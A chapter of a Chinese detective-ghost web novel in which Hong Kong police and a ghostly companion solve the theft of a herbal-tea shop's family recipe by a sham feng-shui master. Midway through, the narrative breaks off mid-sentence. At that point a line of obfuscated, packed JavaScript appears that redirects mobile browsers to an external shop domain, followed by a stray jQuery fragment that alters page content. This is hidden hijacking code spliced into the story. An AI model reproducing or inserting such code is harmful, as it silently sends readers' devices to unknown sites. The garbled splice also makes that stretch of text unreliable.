傍晚六点钟,西环的日头正缓缓沉入海平线,骑楼长长的阴影一寸寸漫过德辅道西那些老旧的招牌,将街道染成一片渐深的青灰色。
七号差馆的大堂里,晚饭的饭香刚刚随着蒸汽飘散开来,一声带着哭腔、近乎嘶哑的叫嚷便猛然撞碎了这短暂的宁静。
“阿SIR!救命啊!我的祖传秘方被人偷走了!”
只见一个身穿白色短褂、裤脚上还沾着深褐色凉茶渍的中年男人,几乎是连滚带爬地冲了进来。他额头布满汗珠,头发散乱地贴在脸上,手里紧紧攥着一张已经揉得皱巴巴、空无一字的纸,整个人惊慌失措,双腿发软,眼看就要站不稳了。
来人是西环开了二十多年、街知巷闻的“润和堂”凉茶铺老板,街坊邻里都习惯喊他九叔。
润和堂在西环一带名气颇大,其镇店之宝便是秘制五花茶。这配方乃是罗家代代相传的宝贝,以布渣叶、鸡蛋花、槐花、菊花、金银花为基础,再添上几味绝不外传的独家凉性草药精心调配。熬煮出来的茶汤甘润顺口、毫不涩苦,盛夏时节一碗下肚,顿觉暑气全消,堪称西环老街坊们离不开的“续命水”。
周SIR刚往嘴里扒了两口饭盒里的饭菜,闻声筷子一顿,立刻放下手里的勺子,神色严肃起来:“九叔,别急,慢慢说清楚。是什么秘方被偷了?具体什么时候发生的事?现场有没有留下什么痕迹?”
罗九叔上气不接下气,用袖子胡乱抹了把脸上的汗,急声答道:“就是我家那祖传的五花茶配方!下午收铺盘点时,我明明把写着配方详情的本子锁进了柜台抽屉,锁头完好无损,抽屉也没有被撬动的迹象,可那本子……那本子就这么凭空不见了!”
他越说越激动,声音发颤,“那本子是我阿爷当年亲手一笔一画写下来的,上面不光记着药材种类,还有详细的熬制火候、精确的药材配比、每道工序的浸泡时辰……丢了它,我这五花茶就再也做不回原来的老味道了!”
一旁的马骝刚处理完一桩偷汤案的琐碎后续,正嚼着叉烧饭,闻言挑起眉毛,含糊不清地插话道:“锁没坏,抽屉也没撬,东西自己长腿跑了?难不成是……闹鬼啊?”
这话仿佛戳中了什么,罗九叔的脸色“唰”地白了几分。
他下意识地环顾四周,压低了嗓音,带着几分恐惧说道:“不瞒您说,街坊们最近都在传……传我铺子里不太干净。这半个月来,每天凌晨值夜的伙计都说,后巷的窗户外面总有白影晃来晃去,还时不时有‘笃笃’的敲窗声,好像有人一直躲在暗处,偷窥铺子里的动静。”
“我起初只当是风吹动了树影,没太放在心上。可现在秘方不翼而飞,我再回头细想,真是越想越怕……就怕真是那些不干净的‘东西’,盯上我家的祖传方子了!”
他话音落下,差馆大堂里的空气仿佛骤然凝固,气氛一下子沉了下去,连窗外渐浓的暮色都似乎变得更加凝重。
阿珍姐停下整理笔录的手,轻轻推了推鼻梁上的眼镜,目光锐利地扫过在场的人:
“先别急着往鬼神上扯,这世上哪有那么多怪力乱神的事。锁没坏,说明门锁结构完好,那么可能性就集中在几个现实的方向:要么是钥匙被私下复制了,要么是内部人员利用职务之便作案,或者是有人用细铁丝之类的工具进行了技术性开锁,手法老练。当然,也不能排除是街坊邻居里的熟人,趁屋里没人时顺手牵羊拿走了东西。”
阿正闻言,立刻放下了手中的饭盒,动作麻利地将警服领口重新扣好,腰背挺得笔直,恢复了职业警察的严肃姿态。
几乎就在同一时间,叉烧叔那带着几分讥诮的嗓音准时飘了过来,字字清晰:
“什么白影敲窗?哪来的鬼!我看根本就是个招摇撞骗、装神弄鬼的神棍在搞鬼!”
“那家伙最近天天在西环老街那一带晃悠,自称是什么‘玄机子’,到处跟街坊散播谣言,说润和堂的风水犯了冲,有阴灵惦记他家的凉茶秘方。”
“依我看,他的目的再明显不过——就是想先把九叔吓慌、搅乱人心,再趁机把秘方骗到手,转手卖给别的凉茶铺子牟利。”
“前几天我路过巷口,还亲耳听见他跟人吹牛,说什么只要拿到罗家祖传的五花茶方子,自己开铺子一年就能赚大钱,口气大得很。”
阿正面色平静,毫无波澜,脑中已将这番市井闲谈自动转译成清晰的刑侦逻辑:
“据此推断,嫌疑人大概率是近期在西环一带活跃的闲散人员,利用街坊对凉茶秘方的重视与保护心理,结合近期流传的灵异传闻刻意制造恐慌,其真实目的是伺机盗窃配方,动机很可能是经济利益驱动。”
这时,周SIR用手指关节敲了敲桌面,发出清脆的响声,果断下达指令:“阿正、马骝,你们俩别耽搁,立刻动身去润和堂复勘现场,仔细检查,别漏掉任何细节。阿珍,你负责查一下警局记录,重点排查近期在西环区域以‘看风水、驱邪’为名进行活动的人员,整理一份名单出来。”
“YESSIR!”
三人齐声应道,语气干脆,各司其职。
阿正和马骝迅速拎起警帽,一前一后走出门去。
此时已是傍晚,西环老街陆续亮起灯火,凉茶铺、大排档、糖水铺一家接一家开档营业,空气中交织着苦中带凉的草药香气、热油烹炸的油香、以及糖水蒸煮的甜香,这股复杂而亲切的气息,弥漫在渐暗的天色里,仿佛凝成了独属于西环老街的氤氲味道。
润和堂的位置就在肥强大排档的斜对面,店面并不起眼,木质招牌因为年久失修已经褪色发黑,门口挂着一串用于展示的干草药,显得颇有几分古旧的气息。玻璃柜里整齐地摆放着罗汉果、夏枯草、五花茶等常见的成品草药,整个铺面透着一股淡淡的药材味。
铺子里此时冷冷清清,几乎没有什么客人光顾,几个伙计无精打采地垂头丧气坐在一旁,气氛显得有些沉闷。
罗九叔带着两人穿过外间,径直走进内堂的柜台前。
柜台上的抽屉用的是老式黄铜锁,锁舌咬合得十分紧实,表面看起来没有任何被撬过的痕迹,柜面周围也没有攀爬或者强行撬动的迹象,一切似乎都保持着原样。
“我每天收铺的时候,都会把配方本子锁在这个抽屉里,钥匙只有我和大儿子两个人有。”
罗九叔指着抽屉解释道,“我儿子这几天正好回乡下探亲,根本不在西环这边,所以不可能是他。”
马骝蹲下身来,用手指轻轻敲了敲锁芯,若有所思地说:“锁看起来完好无损,又不是内部人动的手……难道真的有什么高手,能用细铁丝把锁打开?”
叉烧叔飘在柜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632892|206456||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
台上方,听到这里不由得嗤笑一声:
“高手?那个神棍连细铁丝都懒得用,他是骗九叔隔壁那个叫阿明的打杂后生,说是帮他‘看铺驱邪’,借了钥匙去偷偷配了一把。”
“阿明胆子小,被几句鬼神话一吓,就乖乖把钥匙交出去了,根本没想到对方是别有用心。”
阿正的目光缓缓扫过柜台角落,语气平静地开口问道:“九叔,铺子里打杂的阿明,最近有没有接触过那种自称懂风水、会驱邪的陌生人?”
罗九叔愣了一下,随即回想起来,点头说道:“有!前几天阿明确实跟我提过,说他认识一个叫‘玄机子’的人,看风水特别灵验,还想请他来铺子里看看。我当时忙着手头的事,就没太放在心上。”
马骝一听,立刻精神起来:“看来就是这个人没错了!走,我们赶紧先去找阿明问个清楚!”
阿明今年刚刚十九岁,身形瘦削单薄,面色苍白如纸,一看就是那种被各种鬼神传说和灵异故事吓破了胆的年轻人,整个人都透着一种怯懦不安的气质。
当他被叫进内堂问话时,两条腿都止不住地微微发抖,脑袋垂得低低的,几乎要埋进胸口,根本不敢抬头去看阿正和马骝两位警员的眼睛。
马骝见状,也没打算绕什么圈子,干脆利落地直奔主题,开门见山地问道:“阿明,你老实交代,是不是你把铺子的钥匙借给了一个叫‘玄机子’的江湖神棍,还让他拿去私自配了一把?”
阿明一听这话,整个身体猛地剧烈一颤,眼泪瞬间夺眶而出,当场就簌簌地往下掉:“阿SIR……我、我真的不是故意的……我知道错了……”
“那个玄机子前阵子专门在巷子口拦住我,神神秘秘地说润和堂后巷阴气特别重,有不清不楚的阴灵一直盯着咱们五花茶的秘方,如果不赶紧做法驱邪,铺子迟早要出大事。”
“我这些天夜里守铺的时候,老是听见窗户外面有奇怪的敲击声,早就吓得魂不守舍了。他说只要我帮他配一把钥匙,他半夜就能溜进铺子里悄悄做法事,保证能把那些脏东西统统赶走。我一时糊涂,心里又怕得厉害,昏了头就把钥匙给他了……”
“那他配完钥匙之后,有没有把原来的钥匙还给你?”
阿正紧接着追问道,目光紧紧盯着他。
“没有……他说还要再用一次,我胆子小,也不敢去要回来……”
阿明越说声音越抖,脸上写满了惊慌与后悔:“我是真的没想到……他根本不是要做法事,竟然是冲着咱们家的秘方来的……”
至此,所有的线索终于彻底清晰起来,整件事情的来龙去脉已经明朗。
马骝习惯性地摸出烟盒,刚想点上一支,忽然想起这里是凉茶铺,又默默把烟塞回了口袋:“好了,情况我们都清楚了。现在剩下的,就是赶紧去把那个装神弄鬼的玄机子给揪出来。”
一直站在旁边的叉烧叔这时插话补充道:“那家伙现在正躲藏在老街尾那座荒废的破庙里头,对着偷来的方子埋头抄录呢。听说还打算明天就拿着方子去找旺角那边的凉茶铺老板谈价钱,做着靠这个一夜暴富的白日梦。”
阿正听完,抬手整理了一下头上的警帽,神色严肃地作出决定:
“目标已经锁定,就在老街尾的破庙。全体准备,即刻出发前往抓捕。”